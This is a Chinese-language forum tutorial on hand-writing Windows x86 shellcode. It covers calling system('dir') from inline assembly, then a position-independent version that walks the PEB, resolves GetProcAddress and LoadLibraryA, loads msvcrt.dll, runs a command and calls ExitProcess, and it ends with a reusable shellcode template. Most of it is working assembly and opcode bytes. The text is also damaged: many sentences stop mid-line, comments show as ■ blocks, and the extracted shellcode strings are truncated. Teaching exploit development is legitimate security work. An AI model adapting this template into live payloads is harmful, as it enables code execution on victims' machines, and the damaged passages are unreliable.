Windows下Shellcode编写详解

mosin / 2018-03-06 14:45:00 / 浏览数 12735

概述:

在学习二进制安全过程中，Shellcode的学习是必须的，一个二进制的漏洞触发后的利用，Shellcode该怎么样编写是个问题，本文介绍Windows下的Shellcode详细编写方

Shellcode编写方法

二进制安全的学习是很艰难的，其中Shellcode的编写也是一个难点。对于入门并开始尝试编写Shellcode的朋友来说，我们在编写过程中可以发现Shellcode的编写是有一定

我们首先来看下下面这一段代码

```
#include “windows.h”

int main ()
{
   system(“dir”);
   return 0;
}
```

我们把这段代码转化为汇编代码，但前提条件是我们需要知道这个system函数的内存地址（由于ASLR的原因，函数的内存地址在每台机器上可能会不一样）。下面是获取D

```
#include "windows.h"
#include "stdio.h"

int main()
{
   HINSTANCE LibHandle = LoadLibrary("msvcrt.dll"); //■■■DLL■■■■■
   printf("msvcrt Address = 0x%x \n",LibHandle);
   LPTSTR getaddr = (LPTSTR)GetProcAddress(LibHandle, "system"); //■■DLL■■■■■■■
   printf(“system Address = 0x%x \n", getaddr);

   getchar();
   return 0;
}
```

现在，在我们获取了函数地址后，我们来把之前的代码转换为汇编代码。
对于字符串，我们需要先把它们转换为十六进制,这样才能顺利的入栈。
首先开头呢，一般是保存栈指针，以免出现以后恢复寄存器的混乱

```
push ebp
mov ebp,esp
```

当esp保存好了之后，那么我们就需要把用到的寄存器清零，清零的方法有几种，最常用的就是xor异或操作，因为这个指令一般不会产生坏字符（如/x00）,在清零后我们把

```
xor  ebx,ebx
push ebx
```

System函数只有一个参数，那就是系统命令，这里我们用的是“dir”命令来做演示，“dir”换做十六进制是646972,把它们依次入栈，因为压入栈的参数是4字节的，所以我们依

```
mov  byte ptr [ebp-04h],64h
mov  byte ptr [ebp-03h],69h
mov  byte ptr [ebp-02h],72h
```

在入栈后，我们需要把参数地址给拿出来，由于栈是从上往下的压入，所以我们直接用[ebp-04h]就是栈所指向的参数入口地址，用伪指令lea取出（一般取地址都是用lea指

```
lea  ebx, [ebp-04h]
push ebx
mov ebx,0x74deb16f
call ebx
```

完整的代码如下

```
void main()
{
   _asm
```

```
   {
       //system("dir"); //64 69 72
       push ebp
       mov  ebp,esp
       xor  ebx,ebx
       push ebx
       mov  byte ptr [ebp-04h],64h
       mov  byte ptr [ebp-03h],69h
       mov  byte ptr [ebp-02h],72h
       lea  ebx, [ebp-04h]
       push ebx
       mov ebx,0x74deb16f ■system■■■■
       call ebx

       ;■■■■
       add esp,0x4  ;■■esp
       pop ebx
       pop ebp
   }
}
```

那么现在我们再来看这个例子

```
#include <windows.h>

void main()
{
   LoadLibrary("msvcrt.dll");
■
```

我们按照上文所述方法，一样的来做一遍，这里因为字符串"msvcrt.dll"长度为10，按照4的倍数推算应该为12个完整的字节数，所以我们要压入3个寄存器，然后取出Load

```
_asm{
     //LoadLibrary("msvcrt.dll");
     push ebp
     mov ebp,esp
     push eax
     push eax
     push eax
     mov  byte ptr [ebp-0ch],6dh
     mov  byte ptr [ebp-0bh],73h
     mov  byte ptr [ebp-0ah],76h
     mov  byte ptr [ebp-09h],63h
     mov  byte ptr [ebp-08h],72h
     mov  byte ptr [ebp-07h],74h
     mov  byte ptr [ebp-06h],2eh
     mov  byte ptr [ebp-05h],64h
     mov  byte ptr [ebp-04h],6ch
     mov  byte ptr [ebp-03h],6ch
     lea  eax,[ebp-0ch]
     push eax
     mov  eax,0x763d49d7 //LoadLibararyA■■■■■
     call eax
}
```

我们从上文可以看出，只要我们知道函数的地址，那么写出Shellcode就很简单了，大部分的代码都是一样的，照着流程走一遍就行了。
我们现在可以知道，具体的通用格式已经有了轮廓

```
push ebp
mov ebp,esp                 ;■■■■■
xor eax,eax                 ;■■■■■
push eax                    ;■■■■■■■
mov byte ptr[ebp-xxxh],xxxh  ;■■■■
lea eax,[ebp-xxxh]          ;■■■■■■■
push eax
mov eax ,0XFFFFFFFF         ;■■■■■■■■■
call eax                    ;■■■■

;■■■■
```

```
add esp,0xffffff
pop eax                     ;■■■■■
pop ebp
```

但是，这个写法适用于小型的Shellcode，如果一个函数有很多的参数，那不是要写很长很长？所以如果我们要写一个长的Shellcode,我们就需要换一种写法。

我们还是以上面这个例子为例，不过现在我们需要对上面的代码进行改写一下，开头还是不变，需开辟4个字节的栈空间，用sub
esp,0x4语句，如果需要更大的空间就需要sub
esp，0xffffffff，所有的操作都用寄存器来进行，还有一个重要的一点就是，如果在Windows下编写的话，因为系统是小端格式的，所以我们需要反转立即数，“dir”本来的

```
push ebp
mov  ebp,esp
sub  esp,0x4
xor  ebx,ebx
mov  ebx,0x00726964
mov  dword ptr[ebp-04h],ebx
lea  ebx, [ebp-04h]
push ebx
mov ebx,0x74deb16f
call ebx

;■■■■
add esp,0x4
pop ebx
pop ebp
```

如果改为其他的函数，也是一样的写法，大同小异。这个时候，通用的Shellcode模版写法我们可以改为

```
push ebp
mov ebp,esp                 ;■■■■■
sub esp,0xffffffff          ;■■■■■
xor eax,eax                 ;■■■■■
push eax                    ;■■■■■■■
mov dword ptr[ebp-xxxh],eax ;■■■■
lea eax,[ebp-xxxh]          ;■■■■■■■
push eax
mov eax ,0XFFFFFFFF         ;■■■■■■■■■
call eax                    ;■■■■

;■■■■
add esp,0xffffffff
pop eax                     ;■■■■■
pop ebp
```

Shellcode的生成

在我们写好了Shellcode后，需要做的就是提取机器码了，机器码才是我们真正的Shellcode。提取的方法就有很多了，这里呢就以VC6.0编译器来做个示范，进入调试模式，

最后提取的Shellcode如下

```
shellcode[]="\x55\x8B\xEC\x83\xEC\x04\x33\xDB\xBB\x64\x69\x72\x00\x89\x5D\xFC\x8D\x5D\xFC\x53\xBB\x6F\xB1\xDE\x74\xFF\xD3\x83\

//#include "windows.h"

void main(){
   unsigned char shellcode[]="\x55\x8B\xEC\x83\xEC\x04\x33\xDB\xBB\x64\x69\x72\x00\x89\x5D\xFC\x8D\x5D\xFC\x53\xBB\x6F\xB1\xDE
   ((void (*)())&shellcode)(); // ■■shellcode
}
```

这段程序执行可能会存在问题，因为没有加上退出函数。所以，我们还必须加上退出函数或者返回函数，这里用ret，ret的机器码为\xC3。

```
shellcode[]="\x55\x8B\xEC\x83\xEC\x04\x33\xDB\xBB\x64\x69\x72\x00\x89\x5D\xFC\x8D\x5D\xFC\x53\xBB\x6F\xB1\xDE\x74\xFF\xD3\x83\
```

测试后完美运行

独立Shellcode编写

当然，我们编写Shellcode不是只为了在本机上运行，而是要通用于任何机器。所以，我们需要不依赖外部查找函数地址，那么，我们需要一段代码能够自己定位任意函数地

我们要调用一个函数，必须要知道其地址，而我们在调用函数时又必须要载入链接库，那么我们就必须要知道LoadLibrary()函数地址，获取地址需要函数GetProcAddress()

正如我们在前面讲的的那样，为了生成可靠的shellcode代码，我们需要遵循一些步骤。我们知道要调用什么函数，但是首先，我们必须找到这些函数，在前面已经讨论了怎

必要的步骤如下:

1.找到kernel32.dll被加载到内存中
2.找到其导出表
3.找到由kernel32.dll导出的GetProcAddress函数
4.使用GetProcAddress查找LoadLibrary函数的地址
5.使用LoadLibrary来加载动态链接库
6.在动态链接库中找到函数的地址
7.调用函数
8.查找ExitProcess函数的地址
9.调用ExitProcess函数

以上就是一个完整的Shellcode编写过程，具体为什么要这么写，网上也有许多的资料。这里主要是利用PEB结构来查找关键dll文件的，这个和PELoader有关系，这里就不再

寻找kernel32.dll的基地址

正如你在下面看到的，我们可以利用PEB结构找到kernel32.dll。使用以下代码将dll库加载到内存中

```
xor ecx, ecx
mov eax, fs:[ecx + 0x30]        ; EAX = PEB
mov eax, [eax + 0xc]            ; EAX = PEB->Ldr
mov esi, [eax + 0x14]           ; ESI = PEB->Ldr.InMemOrder
lodsd                           ; EAX = Second module
xchg eax, esi                   ; EAX = ESI, ESI = EAX
lodsd                           ; EAX = Third(kernel32)
mov ebx, [eax + 0x10]           ; EBX = Base address
```

查找kernel32.dll的导出表

我们在内存中找到kernel32.dll。现在我们需要解析这个PE文件并找到导出表。

```
mov edx, [ebx + 0x3c]           ; EDX = DOS->e_lfanew
add edx, ebx                    ; EDX = PE Header
mov edx, [edx + 0x78]           ; EDX = Offset export table
add edx, ebx                    ; EDX = Export table
mov esi, [edx + 0x20]           ; ESI = Offset names table
add esi, ebx                    ; ESI = Names table
xor ecx, ecx                    ; EXC = 0
```

查找GetProcAddress函数名

我们现在在“AddressOfNames”上，一个指针数组(kernel32.dll的地址被加载到内存中。因此，每个4字节将表示一个指向函数名的指针。我们可以通过循环查找完整的函数

```
;■■■■GetProcAddress■■
Get_Function:
       inc ecx                                  ; Increment the ordinal
       lodsd                                    ; Get name offset
       add eax, ebx                             ; Get function name
       cmp dword ptr[eax], 0x50746547           ; GetP
       jnz Get_Function
       cmp dword ptr[eax + 0x4], 0x41636f72     ; rocA
       jnz Get_Function
       cmp dword ptr[eax + 0x8], 0x65726464     ; ddre
       jnz Get_Function
```

寻找GetProcAddress 函数

此时，我们只找到了GetProcAddress函数的序号，但是我们可以使用它来查找其他函数的实际地址:

```
mov esi, [edx + 0x24]             ; ESI = Offset ordinals
add esi, ebx                      ; ESI = Ordinals table
mov cx, [esi + ecx * 2]           ; CX = Number of function
dec ecx
mov esi, [edx + 0x1c]             ; ESI = Offset address table
add esi, ebx                      ; ESI = Address table
mov edx, [esi + ecx * 4]          ; EDX = Pointer(offset)
add edx, ebx                      ; EDX = GetProcAddress
```

寻找LoadLibary函数地址

利用GetProcAddress()函数，我们可以找到LoadLibraryA()函数的地址。在实际中是没有LoadLibrary()这个地址的，LoadLibraryA()就等价于LoadLibrary()。

```
xor ecx, ecx            ; ECX = 0
push ebx                ; Kernel32 base address
push edx                ; GetProcAddress
push ecx                ; 0
push 0x41797261         ; aryA
push 0x7262694c         ; Libr
push 0x64616f4c         ; Load
push esp                ; “LoadLibraryA”
push ebx                ; Kernel32 base address
call edx                ; GetProcAddress(LL)
```

以上，就是整个Shellcode编写框架的核心了，有了GetProcAddress()函数，我们就可以寻找任何函数的地址了。

加载msvcrt.dll库

我们之前找到了LoadLibrary函数地址，现在我们将使用它来加载到内存中“msvcrt.dll”。包含我们的system函数的库。
这里有个问题是
“msvcrt.dll”的字符串长度为10个字符，不足12个字节，所以在剩余的2个字节我们用低位寄存器cx来存储（用什么寄存器不重要），cx是ecx寄存器的一半，ecx是32位寄存

```
add esp, 0xc                ; pop “LoadLibraryA”
pop  ecx                    ; ECX = 0
push eax                    ; EAX = LoadLibraryA
push ecx                    ; 6d737663   72742e64 6c6c
mov  cx, 0x6c6c             ; ll
push ecx
push 0x642e7472             ; rt.d
push 0x6376736d             ; msvc
push esp                    ; “msvcrt.dll”
call eax                    ; LoadLibrary(“msvcrt.dll”)
```

在编写过程中，我们可以把msvcrt.dll修改为任意DLL文件,但要注意字节数。

得到system函数地址

我们加载了msvcrt.dll库，现在我们想调用GetProcAddress来获取system函数的地址。
这里呢，还是为了不产生坏字符，所以把字符串补够了4字节，然后删除。当然，我们也可以用低16位寄存器来存储，像上文那样。
在这个地方，因为上面我们用了16 位寄存器，所以我们下面恢复的字节就要比完整的32位寄存器字节数少一半。

```
add esp, 0x10                   ; Clean stack
mov edx, [esp + 0x4]            ; EDX = GetProcAddress
xor ecx, ecx                    ; ECX = 0
push ecx                        ;73797374 656d
mov  ecx,0x61626d65             ;emba
push ecx
sub dword ptr[esp + 0x3], 0x61  ; Remove “a”
sub dword ptr[esp + 0x2], 0x62  ; Remove “b”
push 0x74737973                 ; syst
push esp                        ; system
push eax                        ; msvcrt.dll address
call edx                        ; GetProc(system)
```

调用system函数

这个地方直接就可用前文所写的代码了，直接套用进框架就行，前提是要确保堆栈平衡。

```
add esp, 0x10                   ; Cleanup stack
push ebp
mov  ebp,esp
sub  esp,0x4                    ; ■■■■
xor  esi,esi
mov  esi,0x00726964             ; dir
mov  dword ptr[ebp-04h],esi
lea  esi, [ebp-04h]
push esi
call eax                        ; system("dir")

add esp, 0x8                    ; Clean stack
pop esi
```

得到ExitProcess函数地址

我们完成了整个函数的执行，为了不爆出错误，我们必须完美的退出这个程序，所以我们需要在kernel32.dll中找到ExitProcess函数。

```
;■■■■
pop edx                         ; GetProcAddress
pop ebx                         ; kernel32.dll base address
mov ecx, 0x61737365             ; essa
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove “a”
push 0x636f7250                 ; Proc
push 0x74697845                 ; Exit
push esp
push ebx                        ; kernel32.dll base address
call edx                        ; GetProc(Exec)
```

调用ExitProcess函数

最后，我们调用ExitProcess函数:“ExitProcess(0)”。

```
xor ecx, ecx                   ; ECX = 0
push ecx                       ; Return code = 0
call eax                       ; ExitProcess
```

完整Shellcode

现在我们只需要把所有的代码段加在一起，最后的shellcode完整代码如下:

```
void main()
{
   _asm
   {
       xor ecx, ecx
       mov eax, fs:[ecx + 0x30] ; EAX = PEB
       mov eax, [eax + 0xc]     ; EAX = PEB->Ldr
       mov esi, [eax + 0x14]    ; ESI = PEB->Ldr.InMemOrder
       lodsd                    ; EAX = Second module
       xchg eax, esi            ; EAX = ESI, ESI = EAX
       lodsd                    ; EAX = Third(kernel32)
       mov ebx, [eax + 0x10]    ; EBX = Base address
       mov edx, [ebx + 0x3c]    ; EDX = DOS->e_lfanew
       add edx, ebx             ; EDX = PE Header
       mov edx, [edx + 0x78]    ; EDX = Offset export table
       add edx, ebx             ; EDX = Export table
       mov esi, [edx + 0x20]    ; ESI = Offset namestable
       add esi, ebx             ; ESI = Names table
       xor ecx, ecx             ; EXC = 0

   Get_Function:
       inc ecx                              ; Increment the ordinal
       lodsd                                ; Get name offset
       add eax, ebx                         ; Get function name
       cmp dword ptr[eax], 0x50746547       ; GetP
       jnz Get_Function
       cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
       jnz Get_Function
       cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
       jnz Get_Function
       mov esi, [edx + 0x24]                ; ESI = Offset ordinals
       add esi, ebx                         ; ESI = Ordinals table
       mov cx, [esi + ecx * 2]              ; Number of function
       dec ecx
       mov esi, [edx + 0x1c]                ; Offset address table
       add esi, ebx                         ; ESI = Address table
       mov edx, [esi + ecx * 4]             ; EDX = Pointer(offset)
       add edx, ebx                         ; EDX = GetProcAddress

       xor ecx, ecx    ; ECX = 0
       push ebx        ; Kernel32 base address
       push edx        ; GetProcAddress
```

```
        push ecx        ; 0
        push 0x41797261 ; aryA
        push 0x7262694c ; Libr
        push 0x64616f4c ; Load
        push esp        ; "LoadLibrary"
        push ebx        ; Kernel32 base address
        call edx        ; GetProcAddress(LL)

        add esp, 0xc    ; pop "LoadLibrary"
        pop ecx         ; ECX = 0
        push eax        ; EAX = LoadLibrary
        push ecx
        mov cx, 0x6c6c  ; ll
        push ecx
        push 0x642e7472 ; rt.d
        push 0x6376736d ; msvc
        push esp        ; "msvcrt.dll"
        call eax        ; LoadLibrary("msvcrt.dll")

        ;system■■■■
        add esp, 0x10                       ; Clean stack
        mov edx, [esp + 0x4]                ; EDX = GetProcAddress
        xor ecx, ecx                        ; ECX = 0
        push ecx                            ; 73797374 656d
        mov  ecx,0x61626d65                 ; emba
        push ecx
        sub dword ptr[esp + 0x3], 0x61      ; Remove “a”
        sub dword ptr[esp + 0x2], 0x62      ; Remove “b”
        push 0x74737973                     ; syst
        push esp                            ; system
        push eax                            ; msvcrt.dll address
        call edx                            ; GetProc(system)

        add esp, 0x10         ; Cleanup stack
        ;■■■■■■
        push ebp
        mov  ebp,esp
        sub  esp,0x4
        xor  esi,esi
        mov  esi,0x00726964             ;dir
        mov  dword ptr[ebp-04h],esi
        lea  esi, [ebp-04h]
        push esi
        call eax

        ;■■■■
        add esp,0x8  ;■■esp
        pop esi

        ;■■■■
        pop edx                         ; GetProcAddress
        pop ebx                         ; kernel32.dll base address
        mov ecx, 0x61737365             ; essa
        push ecx
        sub dword ptr [esp + 0x3], 0x61 ; Remove "a"
        push 0x636f7250                 ; Proc
        push 0x74697845                 ; Exit
        push esp
        push ebx                        ; kernel32.dll base address
        call edx                        ; GetProc(Exec)
        xor ecx, ecx                    ; ECX = 0
        push ecx                        ; Return code = 0
        call eax                        ; ExitProcess
    }
}
```

具体的Shellcode提取就不做了，下面就是整个独立Shellcode的编写框架

```
xor ecx, ecx
 mov eax, fs:[ecx + 0x30] ; EAX = PEB
 mov eax, [eax + 0xc]     ; EAX = PEB->Ldr
 mov esi, [eax + 0x14]    ; ESI = PEB->Ldr.InMemOrder
 lodsd                    ; EAX = Second module
 xchg eax, esi            ; EAX = ESI, ESI = EAX
 lodsd                    ; EAX = Third(kernel32)
 mov ebx, [eax + 0x10]    ; EBX = Base address
 mov edx, [ebx + 0x3c]    ; EDX = DOS->e_lfanew
 add edx, ebx             ; EDX = PE Header
 mov edx, [edx + 0x78]    ; EDX = Offset export table
 add edx, ebx             ; EDX = Export table
 mov esi, [edx + 0x20]    ; ESI = Offset namestable
 add esi, ebx             ; ESI = Names table
 xor ecx, ecx             ; EXC = 0

Get_Function:
 inc ecx                             ; Increment the ordinal
 lodsd                               ; Get name offset
 add eax, ebx                        ; Get function name
 cmp dword ptr[eax], 0x50746547      ; GetP
 jnz Get_Function
 cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
 jnz Get_Function
 cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
 jnz Get_Function
 mov esi, [edx + 0x24]               ; ESI = Offset ordinals
 add esi, ebx                        ; ESI = Ordinals table
 mov cx, [esi + ecx * 2]             ; Number of function
 dec ecx
 mov esi, [edx + 0x1c]               ; Offset address table
 add esi, ebx                        ; ESI = Address table
 mov edx, [esi + ecx * 4]            ; EDX = Pointer(offset)
 add edx, ebx                        ; EDX = GetProcAddress

 xor ecx, ecx    ; ECX = 0
 push ebx        ; Kernel32 base address
 push edx        ; GetProcAddress
 push ecx        ; 0
 push 0x41797261 ; aryA
 push 0x7262694c ; Libr
 push 0x64616f4c ; Load
 push esp        ; "LoadLibrary"
 push ebx        ; Kernel32 base address
 call edx        ; GetProcAddress(LL)

 add esp, 0xc    ; pop "LoadLibrary"
 pop ecx         ; ECX = 0
 push eax        ; EAX = LoadLibrary
 ;DLL■■■■■
 ;push 0xffffffff
 push esp        ; "xxx.dll"
 call eax        ; LoadLibrary("msvcrt.dll")

 ;■■■■■■■■
 add esp, 0xff                    ; Clean stack
 mov edx, [esp + 0x4]             ; EDX = GetProcAddress
 ;■■■■■
 ;push 0xffffffff
 push esp                          ; xxx■■
 push eax                          ; xxx.dll address
 call edx                          ; GetProc(xxx■■)

 add esp, 0xff         ; Cleanup stack
 ;■■■■■■
 ;■■■■Shellcode■■■■

 ;■■■■
 add esp,0xff  ;■■esp
```

```
;■■■■
pop edx                         ; GetProcAddress
pop ebx                         ; kernel32.dll base address
mov ecx, 0x61737365             ; essa
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove "a"
push 0x636f7250                 ; Proc
push 0x74697845                 ; Exit
push esp
push ebx                        ; kernel32.dll base address
call edx                        ; GetProc(Exec)
xor ecx, ecx                    ; ECX = 0
push ecx                        ; Return code = 0
call eax                        ; ExitProcess
```

结语

编写Shellcode只要找到方法，其实并不是很难，本文所讲也只是皮毛而已。一般一个独立性的Shellcode包含了很多，为了减小体积本文中的编写方法是可以压缩的。我们

Linux下的Shellcode编写本文就不说了，在先知已经有朋友写过了，大体的编写思路都是一样的。
Linux下shellcode的编写：
https://xianzhi.aliyun.com/forum/topic/2052

以下推荐两个优秀的Shellcode工具，可转换多平台Shellcode，生成的Shellcode可能会有错误，自己调整下就行了。
https://github.com/merrychap/shellen
https://github.com/NytroRST/ShellcodeCompiler

参考链接：
https://securitycafe.ro/2016/02/15/introduction-to-windows-shellcode-development-part-3/